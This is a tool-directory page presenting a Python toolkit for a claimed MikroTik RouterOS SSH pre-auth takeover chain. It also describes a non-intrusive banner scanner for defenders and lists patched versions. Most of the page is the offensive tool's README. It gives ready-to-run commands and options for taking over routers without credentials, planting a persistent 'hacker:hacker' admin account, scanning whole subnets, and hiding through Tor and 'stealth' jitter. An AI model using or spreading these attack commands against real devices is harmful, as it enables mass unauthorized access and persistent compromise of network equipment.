Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-67279-86060-Toolkit — Python toolkit for the MikroTrick MikroTik RouterOS SSH pre-auth takeover chain: exploit.py performs rekey bypass and fd-2 policy swap for admin shell, plus safedetect.py banner audit. | Kitploit
Tools/GitHubGitHub/tc4dy/cve-2026-67279-86060-toolkit
Defensive ToolsVulnerability ScannersIoT SecurityExploitationWeb Application ExploitationInformation GatheringPost-ExploitationNetwork SecurityPenetration Testing
Red Teaming
Remote Access Tool
GitHubtc4dy/cve-2026-67279-86060-toolkit

CVE-2026-67279-86060-Toolkit

Python toolkit for the MikroTrick MikroTik RouterOS SSH pre-auth takeover chain: exploit.py performs rekey bypass and fd-2 policy swap for admin shell, plus safedetect.py banner audit.

View Repository
11151 month agoNot yet reviewed
Share

CVE-2026-67279-86060

CVE-2026-67279 + CVE-2026-86060 - MikroTrick MikroTik RouterOS SSH Pre-Auth Takeover

Python CVSS License Educational

Pre-Auth SSH Takeover | Policy Mask Swap | Full-Admin Shell | Red-Blue Team Security Research Tool


[>] Overview

CVE-2026-67279 and CVE-2026-86060 form the "MikroTrick" chain — an unauthenticated SSH takeover of MikroTik RouterOS. CVE-2026-67279 is a state-machine flaw where a pre-auth rekey request makes the server skip the authentication gate. CVE-2026-86060 is an argument-injection bug in the login helper that treats a -2 username as "read identity and policy mask from fd 2", letting an attacker write a full-admin policy frame into the PTY.

The chain is actively exploited in the wild since 2026-09-02. Shadowserver observed 122,500+ internet-exposed RouterOS SSH instances. CISA added CVE-2026-86060 to the KEV catalog on 2026-09-10.

This repository ships two separate tools: a red team tool exploit.py for authorized red-team operations, and a non-intrusive safedetect.py for blue teams and security audits.

Both tools are provided for authorized security research and educational purposes only.


[>] Features

FeatureDescription
[+] Pre-Auth Rekey BypassCVE-2026-67279 — rekey before auth drops the server-side authentication gate
[+] FD-2 Policy SwapCVE-2026-86060 — writes identity + full policy mask into the PTY, console comes up as admin
[+] Full-Admin ShellInteractive RouterOS console without credentials
[+] Account PlantCreates a durable full-privilege account (hacker:hacker by default) for stable re-login
[+] Standalone RSA ForgeOptional --rsa-forge mode for CVE-2026-67276 (independent vector, requires victim RSA modulus)
[+] Mass ScanningCIDR, port ranges, file-based targets, multi-threaded
[+] Proxy / TorSOCKS5 / SOCKS4 / HTTP proxy support on every stage of the chain
[+] Stealth ModeJitter + rate limiting + connection pool to reduce detection
[+] JSON / CSV / HTML ReportsSIEM-friendly structured output
[+] SafeDetectNon-intrusive banner + version scanner for blue teams
[+] IoC GuidanceRecommendations and known attacker IPs surfaced in every report
[+] Thread-SafeBounded pool, granular timeouts, per-stage error handling

[</>] Affected Versions

RouterOS VersionAffected
6.0.0 – 6.49.20[+] Yes
7.0.0 – 7.23.3[+] Yes
7.24.0 – 7.24.1[+] Yes
6.49.21 / 7.23.4 / 7.24.2 / 7.25beta3+[-] No

Patch: Upgrade to 6.49.21, 7.23.4, 7.24.2, or 7.25beta3 or newer.


[<>] Installation

git clone https://github.com/tc4dy/CVE-2026-67279-86060-Toolkit
cd CVE-2026-67279-86060-Toolkit
pip install -r requirements.txt

python3 exploit.py
python3 safedetect.py

requirements.txt

paramiko
pysocks
#Basic - single target, plant account
python3 exploit.py --target 192.168.88.1 --plant

#Run single command after takeover
python3 exploit.py --target 192.168.88.1 --exec '/system resource print'

#Full subnet scan + plant + JSON report
python3 exploit.py --target 10.0.0.0/24 --threads 20 --plant --output results.json

#Standalone RSA forge (CVE-2026-67276) with victim public key
python3 exploit.py --target 192.168.88.1 --rsa-forge --rsa-user admin --pubkey victim.pub --exec 'id'

#Tor + stealth
python3 exploit.py --target 192.168.88.1 --tor --stealth --plant

#SafeDetect - single host
python3 safedetect.py --target 192.168.88.1

#SafeDetect - full subnet audit
python3 safedetect.py --target 192.168.88.0/24 --output audit.json

#SafeDetect - HTML report
python3 safedetect.py --file targets.txt --threads 32 --output audit.html

[A] Command Line Arguments

exploit.py

ArgumentShortDefaultDescription
--target-NoneTarget IP or CIDR
--file-NoneFile with targets
--port-22SSH port
--exec-NoneCommand to run after takeover
--shell-FalseInteractive shell
--plant-FalsePlant full-privilege account
--plant-user-hackerPlanted account name
--plant-pass-hackerPlanted account password
--rsa-forge-FalseUse standalone CVE-2026-67276 RSA forgery vector
--rsa-user-NoneTarget user for RSA forgery
--pubkey-NoneVictim OpenSSH RSA public key
--modulus-hex-NoneVictim RSA modulus as hex
--algos-ssh-rsa,rsa-sha2-256Signature algorithms
--threads-10Concurrent workers
--timeout-12.0Per-connection timeout
--rate-limit-0.0Max connections per second
--pool-size-32Connection pool size
--proxy-NoneProxy URL (socks5://, socks4://, http://)
--tor-FalseUse Tor proxy
--stealth-FalseEnable jitter stealth
--stealth-delay-0.05,0.75Stealth delay range
--output-NoneReport path (.json / .csv / .html)
--force-FalseIgnore version check
-v, --verbose-vFalseVerbose output

safedetect.py

ArgumentShortDefaultDescription
--target-NoneTarget IP or CIDR
--file-NoneFile with targets
--port-22SSH port
--threads-20Concurrent workers
--timeout-10.0Per-connection timeout
--rate-limit-0.0Max connections per second
--pool-size-64Connection pool size
--proxy-NoneProxy URL
--tor-FalseUse Tor proxy
--stealth-FalseEnable jitter stealth
--stealth-delay-0.05,0.75Stealth delay range
--output-NoneReport path (.json / .csv / .html)
-v, --verbose-vFalseVerbose output

[R] Responsible Use

  • Only use these tools on systems you own or have explicit written permission to test.
  • Unauthorized access to network devices, routers, or any computer system is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.
  • Intercepting, probing, or exploiting RouterOS devices without authorization is a criminal offense in most jurisdictions.
  • The author is not responsible for any misuse, damage, or legal consequences resulting from the use of these tools.
  • Always follow your country's laws and regulations.

[OTH] Related Exploits

Check out my other exploit repositories:

  • CVE-2026-0073
  • CVE-2026-54121
  • CVE-2026-82329
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    370
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →